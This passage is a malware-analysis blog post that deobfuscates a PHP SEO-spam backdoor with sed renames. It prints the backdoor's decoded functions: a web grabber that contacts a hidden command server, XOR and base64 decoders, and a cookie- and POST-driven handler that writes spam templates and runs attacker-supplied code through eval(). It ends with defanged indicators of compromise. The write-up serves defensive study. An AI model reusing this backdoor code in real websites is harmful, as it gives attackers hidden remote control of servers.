($_6b5ok2i8->_mn403()){\n    \t$_6b5ok2i8->_t31lu();\n    }\n    exit();\n\n\nIn order to decode the malware, I used the sed command a lot. Since I had piped this in to a file called \"f2.php\", I kept my sed instructions in a file, so if I made a mistake, or had a better name for something, I could change it. It also helped with making sure I wasn't using the same variable twice, as that could be even more confusing.\n\nThe sed command I ran after figuring out a piece of the puzzle was:\n\n\n    cat f2.php | sed -f ./f-fix.sed > f3.php\n\n\nMy final sed file contained:\n\n\n    s/_q7nz6eha/ch/g\n    s/_2bza6/getcurldata/g\n    s/_fj3v9zd1/url/g\n    s/_pdo1wxsa/data/g\n    s/_sxg6rwqh/webdata/g\n    s/_10bot499/headers/g\n    s/_m5fzv/getfileurldata/g\n    s/_wjqehzzq/headerdata/g\n    s/_759k0624/ipval/g\n    s/_5es9r/getdata/g\n    s/_19g0vs2/grabberclass/g\n    s/_2vjoa/scottornot/g\n    s/_l8rv0m91/URI/g\n    s/_u08raxie/redirurl/g\n    s/_ibktrama/pageurl/g\n    s/_4ltmr/xor/g\n    s/_xdn6ddo5/i/g\n    s/_emmj452e/j/g\n    s/_coldw/populateheader/g\n    s/_gc26w45m/uid/g\n    s/_sgii98xz/key/g\n    s/_elxaovea/value/g\n    s/_f0y2sncy/template/g\n    s/_ebgh51p9/version/g\n    s/_x671rl9p/message/g\n    s/_fmyu7m3u/h1/g\n    s/_e664o3z2/h2/g\n    s/_pfoa7z23/charArray/g\n    s/_gl2fd4nr/h3/g\n    s/_ne36pr0t/h4/g\n    s/_1uf4luy1/b64/g\n    s/_zrb4w2a2/returnval/g\n    s/_74h0whi2/o1/g\n    s/_ly17nv2z/o2/g\n    s/_z5fafa64/o3/g\n    s/_yqd7x/b64decode/g\n    s/_nj9x5/doublexor/g\n    s/_rvr9m8df/altval/g\n    s/_4vpyschm/thirdval/g\n    s/_92r2gln1/onehundred/g\n    s/_mztoxj8u/twenty/g\n    s/_pxlvpprx/twentyval/g\n    s/_09ezckgm/hundredval/g\n    s/_jf8s5okd/randnum/g\n    s/_kgvo3ed7/retstring/g\n    s/_5oudn589/keyword/g\n    s/_4o6wrpay/offset/g\n    s/_bem0h/gettemplatearray/g\n    s/_f2e2ixi7/xordstring/g\n    s/_h98zt9gf/searchengineUA/g\n    s/_glpg7azf/remoteip/g\n    s/_7wgedcji/searchengine/g\n    s/_85a7k/SEornot/g\n    s/_plzk7uci/md5tag/g\n    s/_b9eit/fixuri/g\n    s/_3lantxxc/uripath/g\n    s/_tp54w/fixuripath/g\n    s/_vzr5de5g/randomtime/g\n    s/_ckt9eh6j/inttemplate/g\n    s/_er6eg00h/intoffset/g\n    s/_1c0nv0xg/intkeyword/g\n    s/_ahx0h1u4/intlinks/g\n    s/_zhyds6gj/links/g\n    s/_d5gicerr/dirpath/g\n    s/_yywd151p/content/g\n    s/_4xkehlm5/file/g\n    s/_jebhw/decoder/g\n    s/_o2sspu30/fileindir/g\n    s/_avf9jszr/counter/g\n    s/_1vrgw/getlinkstrings/g\n    s/_2ng0cqsu/expired/g\n    s/_79py7/filewriter/g\n    s/_m2ht28x6/grabbeddata/g\n    s/_kk2hg6qf/minus1/g\n    s/_u670vkeo/internaluid/g\n    s/_roz3ivpd/localuid/g\n    s/_abptir25/tmplate/g\n    s/_y1wpo0xb/kyword/g\n    s/_9t2du02l/uidmd5part1/g\n    s/_iyy6aoxc/clsuidmd5part1/g\n    s/_3krbm/displayheaders/g\n    s/_4z0p1/filescount/g\n    s/_s8anq96o/filelist/g\n    s/_zhykw/getfilesdata/g\n    s/_royr5j/filereader/g\n    s/_biw8hck1/filearray/g\n    s/_79i20/getfilearray/g\n    s/_kk52mpio/filez/g\n    s/_v2cr7/filezcontents/g\n    s/_mn403/filearraycheck/g\n    s/_nj936vjk/intminus1/g\n    s/_zg7my/stringreplacer/g\n    s/_zh7q3s/datahandler/g\n    s/_5s97u/setupdatahandler/g\n    s/_zsop1pp/filehandler/g\n    s/_abtwpw0/webhandler/g\n    s/_8ml56txq/xmlheader/g\n    s/_hz6xkygy/xmlfooter/g\n    s/_5vjv3mu2/xmlbody/g\n    s/_yzcee/sitemapgen/g\n    s/_594ub8ay/sitemapxml/g\n    s/_negl3ygm/sitemapfile/g\n    s/_cpk4clop/sitemapurl/g\n    s/_6b5ok2i8/webh/g\n    s/_t31lu/setup/g\n    s/_wu68f/initdatahandler/g\n    s/_d0cfol96/sitepage/g\n\n\n# Classes in Malware\n\nLooking through the malware a few things of note came to mind. The first one was that the malware was using classes, and 5 of them to boot. The second was that a few functions jumped out. The base64 string was present, as was a lot of curl function calls. I decided to start with the analysis there:\n\n\n    static function _2bza6($_fj3v9zd1, $_pdo1wxsa){\n            if (!function_exists('curl_version')){\n                    return \"\";\n            }\n            $_q7nz6eha = curl_init();\n            curl_setopt($_q7nz6eha, CURLOPT_URL, implode(\"/\", $_fj3v9zd1));\n            if (!empty($_pdo1wxsa)){\n                    curl_setopt($_q7nz6eha, CURLOPT_POST, 1);\n                    curl_setopt($_q7nz6eha, CURLOPT_POSTFIELDS, $_pdo1wxsa);\n            }\n            curl_setopt($_q7nz6eha, CURLOPT_RETURNTRANSFER, TRUE);\n            $_sxg6rwqh = curl_exec($_q7nz6eha);\n            curl_close($_q7nz6eha);\n            return $_sxg6rwqh;\n    }\n\n\nLooking at the function in isolation, we can see that the function early exists, if curl is not built in to php. Assuming it is, \"$_q7nz6eha\" is set to the curl handler. The next couple of arguments are the url to get the data from ($_fj3v9zd1) and the post fields for the connection ($_pdo1wxsa). The only variable left was the returned data ($_sxg6rwqh). The decoded function then, look like this:\n\n\n    static function getcurldata($url, $data){\n             if (!function_exists('curl_version')){\n                     return \"\";\n             }\n             $ch = curl_init();\n             curl_setopt($ch, CURLOPT_URL, implode(\"/\", $url));\n             if (!empty($data)){\n                     curl_setopt($ch, CURLOPT_POST, 1);\n                     curl_setopt($ch, CURLOPT_POSTFIELDS, $data);\n             }\n             curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);\n             $webdata = curl_exec($ch);\n             curl_close($ch);\n             return $webdata;\n     }\n\n\nPopulating the name getcurldata gave me the answer to the question that had popped up: what if the curl fails? The answer was there is a wrapper function which calls the \"getcurldata\" function, and checks the reply. If the reply is empty, another function is called:\n\n\n    static function _m5fzv($_fj3v9zd1, $_pdo1wxsa){\n             if (!empty($_pdo1wxsa)){\n                     $_10bot499 = stream_context_create(\n                             Array('http' => Array(\n                                     'method' => 'POST',\n                                     'header' => 'Content-type: application/x-www-form-urlencoded',\n                                     'content' => $_pdo1wxsa)));\n                     $_sxg6rwqh = @file_get_contents(implode(\"/\", $_fj3v9zd1), FALSE, $_10bot499);\n             }else{\n                     $_sxg6rwqh = @file_get_contents(implode(\"/\", $_fj3v9zd1));\n             }return $_sxg6rwqh;\n     }\n\n\nThis was basically forming a post request and submitting it through a \"file_get_contents\" command. Decoded, the function looks like:\n\n\n    static function getfileurldata($url, $data){\n             if (!empty($data)){\n                     $headers = stream_context_create(\n                             Array('http' => Array(\n                                     'method' => 'POST',\n                                     'header' => 'Content-type: application/x-www-form-urlencoded',\n                                     'content' => $data)));\n                     $webdata = @file_get_contents(implode(\"/\", $url), FALSE, $headers);\n             }else{\n                     $webdata = @file_get_contents(implode(\"/\", $url));\n             }return $webdata;\n     }\n\n\nThe last parts of the class were easy to see and decode. They translated to:\n\n\n    static private $ipval = 1585596830;\n    static function getdata($url, $headerdata){\n            $url[2] = count($url) > 4 ? long2ip (grabberclass::$ipval - 642)\n    : $url[2];\n            $data = grabberclass::getcurldata($url, $headerdata);\n            if (!$data){\n                    $data = grabberclass::getfileurldata($url, $headerdata);\n            }\n            return $data;\n    }\n\n\nI also named the class \"grabberclass\", as grabbing web data was it's primary function. The attempt to obscure an ip address in the function was interesting. This gave me a bit of a chance to do maths: longw2ip of (1585596830 - 642). I used an online long2ip site to find the address of 136.12.78.46.\n\n# The next big thing\n\nAfter looking through the malware again to see what popped out, I noticed a simple function, which was easy to decipher:\n\n\n    static public function _2vjoa(){\n      if ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443) {\n         return true;\n      }\n      return false;\n    }\n\n\nThe simple function checks to see if the server is HTTPS or not. In honour of that well known blogger, I decided to name the function \"scottornot\". I may have been a bit tired at this point and \"troyornot\" didn't have the same ring to it. NB. Just to be clear, the naming does not indicate involvement of either of the 2 security researchers in the malware, it's just my sense of humour, Mr Officer, sir.\n\nThe next 2 functions indicated that some sort of uri need either fixing or rebuilding:\n\n\n    public static function _b9eit(){\n             $_l8rv0m91 = explode(\"?\", $_SERVER[\"REQUEST_URI\"], 2);\n             $_l8rv0m91 = $_l8rv0m91[0];\n             return sprintf(\"%s://%s%s\", _abtwpw0::_2vjoa() ? \"https\" : \"http\", $_SERVER['HTTP_HOST'], $_l8rv0m91);\n     }\n\n     public static function _tp54w(){\n             $_l8rv0m91 = explode(\"?\", $_SERVER[\"REQUEST_URI\"], 2);\n             $_l8rv0m91 = $_l8rv0m91[0];\n             $_3lantxxc = substr($_l8rv0m91, 0, strrpos($_l8rv0m91, \"/\"));\n             return sprintf(\"%s://%s%s\", _abtwpw0::_2vjoa() ? \"https\" : \"http\", $_SERVER['HTTP_HOST'], $_3lantxxc);\n     }\n\n\nDecoded, the functions look like:\n\n\n    public static function fixuri(){\n            $URI = explode(\"?\", $_SERVER[\"REQUEST_URI\"], 2);\n            $URI = $URI[0];\n            return sprintf(\"%s://%s%s\", webhandler::scottornot() ? \"https\" : \"http\", $_SERVER['HTTP_HOST'], $URI);\n    }\n\n    public static function fixuripath(){\n            $URI = explode(\"?\", $_SERVER[\"REQUEST_URI\"], 2);\n            $URI = $URI[0];\n            $uripath = substr($URI, 0, strrpos($URI, \"/\"));\n            return sprintf(\"%s://%s%s\", webhandler::scottornot() ? \"https\" : \"http\", $_SERVER['HTTP_HOST'], $uripath);\n    }\n\n\nAs you can see, all the functions seemed to be dealing with the web, so I named the class web handler. This was actually done a bit later in the process, once I had a clear indication of what all the functions in the class did.\n\nGoing back to the start of this function, I found 3 more functions that looked familiar. These were the XOR and base64 decoding function. The third function was the double xor that I saw in part 1. For brevity, I have just included the decoded versions here.\n\n\n    function xor($value, $altval){\n      $xordstring = \"\";\n      for ($i = 0; $i < strlen($value);) {\n        for ($j = 0; $j < strlen($altval) && $i < strlen($value); $j++, $i++) {\n            $xordstring .= chr(ord($value[$i]) ^ ord($altval[$j]));\n    \t\t}\n      }\n      return $xordstring;\n    }\n\n    function doublexor($value, $altval, $thirdval){\n      return xor(xor($value, $altval), $thirdval);\n    }\n\n    static private function b64decode($message){\n     if (strlen($message) < 4){\n      return \"\";\n     }\n     $b64 = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\";\n     $charArray = str_split($b64);\n     $charArray = array_flip($charArray);\n     $i = 0;\n     $returnval = \"\";\n     $message = preg_replace(\"~[^A-Za-z0-9\\+\\/\\=]~\", \"\", $message);\n     do {\n     \t$h1 = $charArray[$message[$i++]];\n     \t$h2 = $charArray[$message[$i++]];\n     \t$h3 = $charArray[$message[$i++]];\n     \t$h4 = $charArray[$message[$i++]];\n     \t$o1 = ($h1 << 2) | ($h2 >> 4);\n     \t$o2 = (($h2 & 15) << 4) | ($h3 >> 2);\n     \t$o3 = (($h3 & 3) << 6) | $h4;\n     \t$returnval = $returnval . chr($o1);\n     \tif ($h3 != 64) {\n     \t\t$returnval = $returnval . chr($o2);\n     \t}\n     \tif ($h4 != 64) {\n     \t\t$returnval = $returnval . chr($o3);\n     \t}\n    \t} while ($i < strlen($message));\n    \treturn $returnval;\n    }\n\n\nSince the xor and double xor functions were nested inside a function I decided to call decoder, there was some additional code I had skipped over. When decoded, this was looking at variables:\n\n\n    foreach (array_merge($_COOKIE, $_POST) as $key => $value) {\n    \t$value = @unserialize(doublexor(webhandler::b64decode($value), $key, webhandler::$uid));\n    \tif (isset($value['ak']) && webhandler::$uid == $value['ak']) {\n    \t\tif ($value['a'] == 'doorway2') {\n    \t\t\tif ($value['sa'] == 'check') {\n    \t\t\t\t$data = grabberclass::getdata(explode(\"/\", \"hxxp://httpbin.org/\"), \"\");\n    \t\t\t\tif (strlen($data) > 512) {\n    \t\t\t\t\techo @serialize(Array(\"uid\" => webhandler::$uid, \"v\" => webhandler::$version, ));\n    \t\t\t\t}\n    \t\t\t\texit;\n    \t\t\t}\n    \t\t\tif ($value['sa'] == 'templates') {\n    \t\t\t\tforeach ($value[\"templates\"] as $template) {\n    \t\t\t\t\tfilereader::filewriter($template);\n    \t\t\t\t\techo @serialize(Array(\"uid\" => webhandler::$uid, \"v\" => webhandler::$version, ));\n    \t\t\t\t}\n    \t\t\t}\n    \t\t\tif ($value['sa'] == 'keywords') {\n    \t\t\t\tfilehandler::filewriter($value[\"keywords\"]);\n    \t\t\t\twebhandler::sitemapgen();\n    \t\t\t\techo @serialize(Array(\"uid\" => webhandler::$uid, \"v\" => webhandler::$version, ));\n    \t\t\t}\n    \t\t}\n    \t\tif ($value['sa'] == 'eval') {\n    \t\t\teval($value[\"data\"]);\n    \t\t\texit;\n    \t\t}\n    \t}\n    }\n\n\nThis code looks through the cookies and the post variables (both of which don't show up in logs). If the right sequence is sent, the website \"httpbin[.]org\" is contacted, and the length of data retrieve is examined. This is probably to determine if the malware has access to the internet. While \"httpbin[.]org\" appears to be not involved, a connection out to this server could indicate the presence of this program.\n\nThe header for the class has several variables, which I gave simple names to:\n\n\n    static public $version = \"4.1\";\n    static public $uid = \"e18bb5c2-b998-9250-fbe6-98f8a3caf821\";\n    private $redirurl = \"hxxp://136[.]12[.]78[.]46/module/error/api2?action=redir\";\n    private $pageurl = \"hxxp://136[.]12[.]78[.]46/module/error/api2?action=page\";\n    static public $twenty = 20;\n    static public $onehundred = 100;\n\n\nWhile there is a lot more to this code, the techniques were pretty much the same to find out what the malware looked like decoded. For brevity at this point, I'm just going to highlight some interesting things.\n\n# IOCs\n\nBelow is a list of indicators of compromise for the malware featured above:\n\n  * hxxp://httpbin[.]org\n  * 136[.]12[.]78[.]46\n  * hxxp://136[.]12[.]78[.]46/module/error/api2?action=redir\n  * hxxp://136[.]12[.]78[.]46/module/error/api2?action=page\n\n\n\nThese sites are not necessarily malicious, but if your webserver is calling out to them, you might want to investigate why.\n\n# Conclusions\n\nAn interesting piece of malware which generates files using the templates with keywords. Since the program sets up a sitemap, I'm not entirely sure of the end game, other than getting search engines to mark the website with \"Blackhat SEO\". This could basically be an attempt to fhave the website's reputation tainted for quite a while after, causing loss of traffic to the site for a prolonged period, or it could be to try to boost ranking of certain keywords.\n\nDisagree with me? Have a chat on X with me about it. I'm happy to have a reasoned discussion.",
  "title": "PHP Malware Examination Part 2",
  "updatedAt": "2026-04-18T17:22:55.632Z"
}